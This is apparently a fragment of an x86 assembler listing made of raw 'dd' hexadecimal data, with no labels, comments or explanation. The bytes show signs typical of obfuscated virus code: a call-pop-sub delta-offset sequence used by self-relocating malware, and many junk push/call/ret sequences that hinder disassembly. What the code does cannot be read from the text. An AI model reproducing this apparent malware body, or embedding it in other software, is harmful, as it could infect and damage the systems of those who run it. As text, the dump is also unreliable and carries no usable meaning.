0F7C603ADh, 0A6B2EBBBh, 17A48C34h dd 0CCEB5D0Fh, 29A84574h, 442F61B5h, 95FF5F06h, 6441C4Dh dd 5DFCBE66h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 6AECF1h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 9D3CCAC3h, 60F3B70Fh dd 10E9h, 0EDCD6400h, 0B5660A08h, 4770F80Eh, 413F4D39h dd 14E86060h, 0B0000000h, 0BDD70CDFh, 7B308D88h, 0D6638265h dd 0D529E5C9h, 5BEC6693h, 8F0Fh, 0EA810000h, 75DF2C88h dd 1E198D8Bh, 60610644h, 33CDACB8h, 8E0F5Bh, 0E9000000h dd 13h, 85176A4Eh, 0E3242972h, 216A046h, 0B98C77A8h, 612B8DC5h dd 8529F861h, 6440BD9h, 0DE7029BEh, 0E9953119h, 53064430h dd 5EFABF0Fh, 4846D5BEh, 4C46BF32h, 6A57E3h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0DE86C0C3h dd 0BE66959Ah, 88BEB392h, 665101C5h, 0BF66F78Bh, 8A0FB0A6h dd 13h, 5E616051h, 9840Fh, 0B5890000h, 64418E1h, 60F7BF0Fh dd 30BA96BAh, 51B50B16h, 6606440Ch, 0E961C88Bh, 0FFFFF893h dd 2FCDBD0Bh, 830F0644h, 10h, 0BE9h, 0C66B8500h, 0B18197AFh dd 6B4E41E5h, 4DF78166h, 820F5089h, 6, 1DA58D89h, 8B5F0644h dd 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 7E7E4CDFh, 0EBF18BB8h, 4, 0E9B58B00h, 1064423h dd 4402C98Dh, 0E1858D06h, 0F06441Bh, 0E850FABFh, 12h, 35B7EF97h dd 0F05B2953h, 441EDF32h, 9F34A7E2h, 0FE8C44Bh, 21000000h dd 0D15E9D00h, 57B10B9h, 6D8F10EDh dd 5F5FDB11h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 3107C357h, 86355042h dd 0BD8BBE39h, 6441621h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 8A98C5C3h, 0E5C804A5h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 143DFC3h, 441C519Dh, 6B858D06h, 6A06481Ch dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 832EC351h, 6A05C0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 8BA977C3h, 0AE890F1h dd 0F1000000h, 75D933Ah, 0C34DF577h, 0BF505EECh, 20C396C4h dd 41958990h, 6A064431h, 6AF98B00h, 95FFF800h, 6441825h dd 5E9h, 82EC4500h, 9D8D94E4h, 6479A97h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0DEC35545h, 0BD8BD3FFh dd 6441081h, 8E985FFh, 6A0644h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 8F12ECC3h, 9D89605Fh dd 6442339h, 5E9h, 0EDF4F300h, 8B6162C9h, 442C15B5h, 863E906h dd 0E80000h, 5D000000h, 1C75ED81h, 6A0648h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0FE6109C3h dd 810FBA0Fh, 1Ch, 10E8h, 74792500h, 5CD6C10h, 0B35FDB0Fh dd 0ECBB9ADCh, 35F78198h, 5F1CEF2Eh, 167DBD81h, 7D00644h dd 860F0000h, 124h, 13E9h, 150BED00h, 4B8F5ED3h, 591BC754h dd 0B1AF10CDh, 923D1BABh, 2C999D8Bh, 6A0644h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 1D86AC3h dd 0E38122h, 66000001h, 2E17EF81h, 850FDB0Bh, 8Eh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 59C35141h, 6612B43Bh dd 834834BFh, 481ACFBDh, 840F0006h, 49h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Bh, 36C35040h, 0C562ABF2h dd 0F9896B8h, 3FE9F8BFh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 8297C350h dd 0CF85C7ADh, 106481Ah, 8B000000h, 440C9DB5h, 0CE906h dd 85C70000h, 6481ACFh, 0 dd 9D8DF38Bh, 6442C99h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0EDC35646h, 82B2E55h, 95296E88h, 64402BDh dd 0FEFF2381h, 0B533FFFFh, 644250Dh, 8BDB8C66h, 4C3F6F7h dd 21840Fh, 0BD8B0000h, 6440E45h, 1C8195FFh, 0B5890644h dd 64407F9h, 0B28EBF50h, 4893E50h, 29958924h, 0E9064403h dd 4A1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 5BC35343h, 0C6B89507h, 0A8A0Fh, 0B6600000h, 0CD9523DAh dd 6106440Ch, 0E78100B0h, 3564D277h, 6A70E6h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 11496DC3h dd 0A7EE33BFh, 25BD31B0h, 8906441Eh, 4403EDB5h, 6A71E406h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0CECDC355h, 89F88B66h, 441A31BDh, 0D8B60F06h dd 989BD8Bh, 6BA0644h, 0BF000000h, 6336A0F6h, 0B58BC38Bh dd 6440885h, 6A04E8C1h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 534FC350h, 0BD09646Bh dd 644146Dh, 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 9FE7C357h, 6E384FC4h dd 0BDB58BE8h, 2B06442Ch, 0CDB589D8h, 50064407h, 6A241C89h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0AE37C356h, 0E092C664h, 5E91D8Ah, 49000000h dd 50D327FEh, 167DB5FFh, 6A0644h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0D09620C3h, 8A96DA68h dd 8D892073h, 6441625h, 1C4D95FFh, 0B0F50644h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 9A56C3EFh, 61F98B60h, 6A70E6h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 0E45181C3h, 57006A71h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0E5FA750Dh, 0F36104DCh, 0F613C17h, 2C083h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 5189A2EFh, 8942BC80h, 441AB995h, 0D8B60F06h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0C2C35343h, 0F5600CFAh dd 0DE750940h, 12E84Fh, 0B7F40000h, 0E36291A0h, 7E2DCD24h dd 819FCA6Dh, 0C7E413E9h, 16B99589h, 895F0644h, 441F9D95h dd 6BA06h, 0B70F0000h, 9D8589F9h, 8B06441Ah, 52006AC3h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0B98BBA03h, 0DC3E627Ah, 0C95BD01h, 0E8C10644h, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 1625165Dh, 569831BDh, 0F8C68151h, 66493BCFh, 0D82BE2F7h dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0C781B014h, 1FCF9EF9h, 880FD82Bh, 1B5h dd 61606060h, 315BD8Bh, 89610644h, 4416C9BDh, 0FE96106h dd 0D4000000h, 0CBE2C026h, 4BC1196Eh, 1CE195B6h, 7B9CC2Eh dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 561CC351h, 31F4D7CDh, 0DE7FB5B1h dd 12E8h, 0CA414900h, 0EA5BDB5Bh, 6B026BE1h, 0D5DAF1B5h dd 0E9FCD986h, 0Fh, 73E43F8Ah, 0C509705Ah, 2056195Dh, 5EC361B4h dd 0F00C183h, 1D83h, 9E800h, 60050000h, 0FE6E1634h, 0E8730EFEh dd 8, 0F72D1C8Eh, 0C50D9EC8h, 0D93B5F5Fh, 10B860Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 42BDAC3h, 0F5B82A86h, 66D8F588h, 6AD98Ch, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0F70ADBC3h dd 8EA803CFh, 8D297EABh, 6441EF1h, 0F04C1F6h, 9184h, 8195FF00h dd 6A06441Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0E589C357h, 89991FE9h, 4421318Dh dd 0CE95B06h, 59000000h, 74EEAE61h, 5416AAEFh, 2BDA7CE0h dd 0FFBF0FC3h, 8343Dh, 43860F00h, 0E9000000h, 6, 2CA4533Ah dd 8A0F1199h, 4, 0DBADBF66h, 48E9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 3D7627Dh, 9F2F870h dd 442E758Dh, 0C08BF806h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 79C35545h, 8BC38B02h, 53006AD8h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 659D29E3h, 0F9064404h, 2B7985C7h, 7F90644h, 0C08B7017h dd 2FDDBD0Bh, 0BD810644h, 644167Dh, 7D0h, 52850Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 20841BC3h, 0CD578A92h, 2111BD89h, 0BE660644h, 85FF7F1Eh dd 644167Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 3BC35242h, 0F38BCFE3h, 167DB5FFh, 6A0644h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 25C561C3h, 0C97144C3h, 870FA7FEh, 6, 25D19529h, 95FF0644h dd 6441C4Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 77C35141h, 11740817h, 90B3323Ch, 23D5BD8Bh, 52FC0644h dd 1575BD8Bh, 0FE80644h, 71000000h, 9C64EC27h, 0D98DD332h dd 1706C969h, 0BD8BAF91h, 6442C01h, 0B5035F5Fh, 6442105h dd 1755B58Bh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0E26B01C3h, 6665DC54h, 0BF66F88Bh dd 10E91C44h, 34000000h, 0BD0A79A3h, 5A3C799Dh, 0AE7FC503h dd 11C07DCh, 440FA58Dh, 6AF8FC06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 712DC356h dd 0F58D8970h, 8906442Eh, 44221185h, 5E906h, 0EA290000h dd 0F264CA7h, 385h, 0F88B6600h, 31418589h, 0E8FC0644h dd 11h, 0D549C922h, 38C01C33h, 0F0091599h, 448FF1F0h, 659D898Dh dd 8B06440Ch, 441C41B5h, 6AFC5E06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0D46C356h dd 0D4B99D7Dh, 0E9D0E77Fh, 0FFFFF7A2h, 623A8ABFh, 9D0B6067h dd 6442E41h, 0FFFFFEB9h, 818D21FFh, 6A064417h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 80CBC352h, 0D9BF0F76h, 1055B58Bh, 8D210644h, 6441FC5h dd 0E48DB81h, 8D8B6319h, 6441781h, 3370DE81h, 0E1830541h dd 25850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 79F3C353h, 95894B3Ah dd 6441959h, 1FC58D8Bh, 6A0644h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 6C4B8C3h, 0D8B70FA4h dd 0F01E183h, 685h, 79BD8B00h, 61064403h, 55006A60h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0A9862546h, 0B9FB8101h, 0FFFFFFFEh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 9AC35545h, 921CC58Eh dd 0E89E25CEh, 7, 9884D35Bh, 66B4D133h, 0F5ED08Bh, 38Dh dd 0C6BF0F00h, 1F258D21h, 6A0644h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 1DA462C3h, 0A188E149h dd 1EBEB1B0h, 2111C47Bh, 4428C18Dh, 5FFC5606h, 1F258D8Bh dd 6A0644h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 836C5C3h, 0FE9h, 279F8000h, 8BF6C07Ah, 188A0DD5h dd 46FC4B57h, 0D8BEDB81h, 0E183276Ch, 1850F01h, 0F9000000h dd 28C18D8Bh, 6A0644h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 0F8EF52C3h, 0B042515Bh, 0DE895A8h dd 0CC000000h, 0D50490F3h, 7EECC100h, 0D822D51Eh, 5AFE8B66h dd 0D495B866h, 0F01E183h, 685h, 24BF6600h, 61F28B16h, 50006A60h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 7C1A2C4Fh, 0F59750D4h, 0FFFFFEB9h, 0C28B66FFh, 33D18D21h dd 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 4F4913C3h, 4E307AF7h, 858B8E24h, 64420ADh dd 0DF58D21h, 6A0644h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0E9B2D4C3h, 0BF0F772Eh, 8D8BF9F7h dd 64433D1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 4AC35242h, 5E82E58h, 4A000000h, 0CDAB1356h, 1E1835Ah dd 39850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 60B255C3h, 75BD8BDBh, 0E806442Ah dd 8, 0B0084388h, 66EA4E5Eh, 3075BD8Bh, 8B5B0644h, 440DF58Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 10E842B9h, 0CC000000h, 0E20E3F14h, 9D1F4D19h dd 56116E93h, 8BF01068h, 440E39B5h, 0E1835806h, 22850F01h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0EED6C352h, 3AAF936Ch, 6A6061A1h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 4D3AC356h, 0CE7C5442h, 8D29A4EFh, 6441511h dd 0FFFFFEB9h, 21F08BFFh, 442B798Dh, 39BD8B06h, 21064423h dd 442C998Dh, 0C7BF0F06h, 2B798D8Bh, 8B660644h, 1E183FEh dd 2A850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 224D9AC3h, 0E6F37AE0h, 0B523D3B2h dd 6443181h, 2C998D8Bh, 0BF660644h, 852B260Ah, 6442BD9h dd 0F01E183h, 685h, 0C1BD8B00h, 6106441Ch, 57006A60h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 6A048FB1h, 0A3159B65h, 16459D89h, 85C70644h, 644167Dh dd 7D0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 5DC35545h, 61D093DFh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 12C35141h, 9BC7D401h, 0EBD6BF0Fh dd 0E99D6107h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0AFC35747h dd 6BC61FB0h, 60825749h, 3A59589h, 9D2B0644h, 6442E15h dd 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0B7C281A6h, 8B1ACB70h, 295160C1h, 441D79B5h dd 0E8605F06h, 7, 3EAEDE7h, 8B3BB5D5h, 4417BD8Dh, 8F0F5906h dd 0Ch, 7E9h, 0DC20EE00h, 1CF71171h, 6AC08B61h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 2225C352h, 834B1908h, 4420CDBDh, 9750006h, 0B25BD83h dd 74000644h, 8B535019h, 438B8C0h, 85890000h, 64402F5h dd 0A84F9D8Dh, 0D3FF0646h, 0BD83585Bh, 6440B25h, 50177400h dd 438B853h, 85890000h, 64402F5h, 0A53E9D8Dh, 0D3FF0646h dd 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0B07F47C3h, 19E744Fh, 0B70F8CA8h, 50006AFBh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 13BFB15Bh, 0E8C08B62h, 6, 0DC388D00h, 0EE99669h, 75000000h dd 6E20D09Eh, 5C206EA0h, 7D87E547h, 82E8595Fh, 6A000008h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0FF3C353h, 8BE8959h, 8B5B1AA5h, 5890Fh, 81660000h dd 5273EECEh, 0EE9h, 0EE65CF00h, 5F469801h, 446C39F4h dd 5FDD7B08h, 1C9D8589h, 6A0644h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 5109C3h, 99186C6Dh, 0BD2B0535h dd 6442A69h, 0F5D8D31h, 0B5090644h, 6440D01h, 7FCE8h, 498D8900h dd 89064428h, 441EB985h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0A05237EDh, 55BD09A2h dd 0E806440Ah, 7C5h, 8D8589F8h, 66064421h, 0A65DC681h dd 7B4E8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 0F6D38DFDh, 15719501h, 85890644h dd 6440C0Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 0D6C35545h, 0F1B06103h, 60C92F4Fh, 0D45ABF66h dd 0CE9h, 0D9A35400h, 0D857EFB7h, 0FD047864h, 4AE86140h dd 0E9000007h, 7, 0F6717BDCh, 89D84ACAh, 4408DD85h, 498D8B06h dd 0E8064428h, 72Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0B4C35747h, 5585890Ch, 0B506440Dh, 703E8E6h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 50F1DFC3h, 7185895Fh, 6A064431h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 6A57C357h, 9E47AF76h, 6870Fh, 0B58B0000h, 6442029h dd 21318D89h, 0A6E80644h, 6A000006h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 15ECC357h dd 0CD5A4E8Eh, 0C88B6693h, 30F58589h, 0AAB50644h, 674E8h dd 6820F00h, 89000000h, 44295585h, 6D858906h, 6A064419h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 683CC350h, 7D9AB686h, 712407F4h, 0FB5B58Bh dd 32E80644h, 6A000006h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0FA9C350h, 0BE9CEB7h dd 72000000h, 65EE01ECh, 3591FD87h, 85891B8Dh, 6441649h dd 0A95B58Bh, 0F2E80644h, 8B000005h, 440A55B5h, 49858906h dd 6A06440Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 6150C350h, 0D4CC4B07h, 659D01E0h dd 0E8064414h, 5B9h, 3C19D89h, 85890644h, 6440D41h, 0FF88B66h dd 0A2E8F6B7h, 6A000005h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 3A43C350h, 2E21409Dh dd 0EE97Fh, 17580000h, 13445563h, 8247F391h, 1BB3AC7Dh dd 718589h, 6A0644h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0ADE8D0C3h, 0F2CEA99Dh, 8D8B8713h dd 6442C2Dh, 538E8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 45FD5349h, 0CB8B62C7h dd 10998589h, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0BD8BB3C3h, 6442C15h, 4E8E8h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0BE6F1F0Fh, 85895696h, 6441F39h, 187DB589h, 0B6E80644h dd 53000004h, 2A999D29h, 895F0644h, 44318D85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0B6A87B15h, 9813DD84h, 0D981E798h, 143D9E69h, 18DDB58Bh dd 66600644h, 8157E381h, 0EE9h, 2D8A9000h, 993A3745h, 346AED67h dd 61B4AC10h, 816600B0h, 0F8408E6h, 6AD8B6h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 1B8BECC3h dd 536650DDh, 860F8FD0h, 18h, 12E8h, 0EDDF9700h, 68E5CE52h dd 0E451A599h, 37F7625Dh, 594DC37Ch, 6BAF88Bh, 8B000000h dd 44292D8Dh, 89C38B06h, 4404658Dh, 4E8C106h, 0ED7ABE60h dd 666147EAh, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0FA0D45C3h, 0DAB9514Dh, 5F67D697h dd 19FDBD09h, 0D82B0644h, 118D0Fh, 0CE90000h, 6A000000h dd 93998E26h, 995C92AAh, 0FF2B8E1h, 684h, 51BD3100h, 5006441Ch dd 5860F60h, 0BF000000h, 58497482h, 6E9h, 0E85B8100h, 6167EB8Eh dd 81241C89h, 0D591EFE6h, 8195FF1Ah, 0F06441Ch, 68Fh, 0D5BD2B00h dd 5B064410h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0FFC35545h, 8B66B852h, 65958DF7h, 6A06441Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0C479C351h, 0CD804971h, 6A1A8998h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 3437C357h dd 4289EAEFh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0A58D01B3h, 8D064422h, 44076D95h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0C3CD0A29h, 0CFBF0F6Ch, 6A1A89h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0EA812EC3h, 0CEA08E4Fh, 68A0F8Bh, 89000000h, 44286585h dd 9D2B6006h, 64408F9h, 61D4E980h, 6A044289h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 97F9C356h, 1DC2565Bh, 9E9h, 0F86C4D00h, 7806102Eh, 0AE9BF46h dd 0F7000000h, 7D3B9050h, 0F881ACEBh, 85958D6Dh, 6A06440Dh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 5D7CC356h, 5720EFCAh, 0EE9h, 491B9700h, 59367427h dd 95A8252h, 891F29EFh, 8DD801Ah, 81044289h, 7C68C1C7h dd 0B9958D34h, 6A06441Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0DBE3C357h, 0D519D09h, 0BD890644h, 64433CDh, 6A1A89h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0BB0D6CC3h, 3880F60h, 80000000h, 8529AFD0h, 6441685h dd 4428961h, 3699589h, 0B5290644h, 6440CCDh, 8A9958Dh dd 14E90644h, 5E000000h, 0A6761313h, 9DCEDA30h, 2F8C8D0Ch dd 0FF5C78CCh, 89E99E4Ch, 0D50FBF1Ah, 42890B7Bh, 56006A04h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0C5EF8132h, 80523ED8h, 958D54DDh, 644208Dh, 6A1A89F9h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 63F4C352h, 0F6ED3B20h, 0BA1F745Eh, 44289F5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0C6C35242h dd 0F28B793Ch, 197D958Dh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0D78291C3h, 5EFB8B56h dd 6A1A89h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 880F0DC3h, 6, 329D8D2Bh, 42890644h, 7DB58B04h dd 8D064414h, 44148D95h, 0E9958906h, 5206442Ch, 23E5B509h dd 89590644h, 50006A1Ah, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 79D8721Ah, 0EACB4E61h, 9E971h, 2FFB0000h dd 0AE71E3C5h, 8988687Eh, 0FE90442h, 0CF000000h, 0F14EA70Ch dd 4FCCB41Dh, 0D084CBD0h, 0BEE928D6h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0F742C353h, 8B006A17h, 442E95B5h, 6A006A06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 675CC353h, 3EA26276h, 6AF88B1Ch, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 3B590111h dd 68B0Fh, 0BD8B0000h, 6442459h, 0B589006Ah, 6442F9Dh dd 1F8D95FFh, 6A0644h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 346AEDC3h, 1DB4AC10h, 0E90F9619h dd 6, 4AD1F1BAh, 8BC38B3Dh, 441511B5h, 6AC58A06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0AE59C350h, 66BE6ED6h, 9F62C181h, 6AC08Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0E20997C3h dd 6E93Ah, 8F630000h, 0AB873386h, 20CDBD83h, 75000644h dd 25BD8309h, 6440Bh, 53501974h, 38B8C08Bh, 89000004h dd 44222985h, 0B69D8D06h, 0FF0646A8h, 83585BD3h, 440B25BDh dd 17740006h, 38B85350h, 89000004h, 44222985h, 579D8D06h dd 0FF0646A5h, 6A585BD3h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 868EC350h, 6E154C0Ch dd 0C830Fh, 830F0000h, 6, 25AD8D8Bh, 6A0644h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 934614C3h dd 0AEFD4A9h, 8DC08BD3h, 441BE185h, 0B5EF8106h, 6645D984h dd 904505BFh, 77BF6652h, 50505B67h, 0F616052h, 5B575631h dd 90585A5Fh, 6B5D0BBBh, 6A006A77h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0AB77C350h dd 6F3D8671h, 0DC7EBA2Ch, 4F2CB81h, 7E95F6Bh, 96000000h dd 4FD11C72h, 6AB28Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0CC35141h, 29368411h, 0E934D500h, 0Eh dd 1A3EF8DCh, 3244946h, 0A3CDEAAFh, 858DB5E0h, 64836F7h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 82C35040h dd 6A18D09h, 0C0830644h, 90D98B05h, 12E85050h, 5D000000h dd 503D2121h, 0F621B806h, 0ADD3D23Ah, 0D1F6D666h, 905B5B81h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A5C35343h dd 0ABFA7B0Fh, 8924FAAAh, 4407359Dh, 6A006A06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0BA17C351h, 2C1F16B7h, 8A0FA18Ah, 6, 2C5BD8Bh, 0C3810644h dd 0EB293F7h, 0E960006Ah, 9, 8172AD47h, 0D1122646h, 61CA8A65h dd 182595FFh, 0CB810644h, 78AF8AEBh, 9A978D8Dh, 6A0647h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 7291D0C3h, 8BCE905Dh, 4426099Dh, 6AD1FF06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0CC18C353h, 678A4273h, 0F5E6BC84h, 12E8h, 5899C500h dd 44556317h, 47F39113h, 0B3AC7D82h, 898BA51Bh, 44294D8Dh dd 0BD835F06h, 6442F11h, 56850F01h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 876BC356h, 9BB66D3h, 89026A97h, 4429A995h, 51958906h dd 5006441Ah, 0B880Fh, 890F0000h, 5, 631ADCBFh, 24048907h dd 97CD67BBh, 6D95FF48h, 29064429h, 44094D85h, 0E5AE906h dd 0E80000h, 5D000000h, 3701ED81h, 6A0648h, 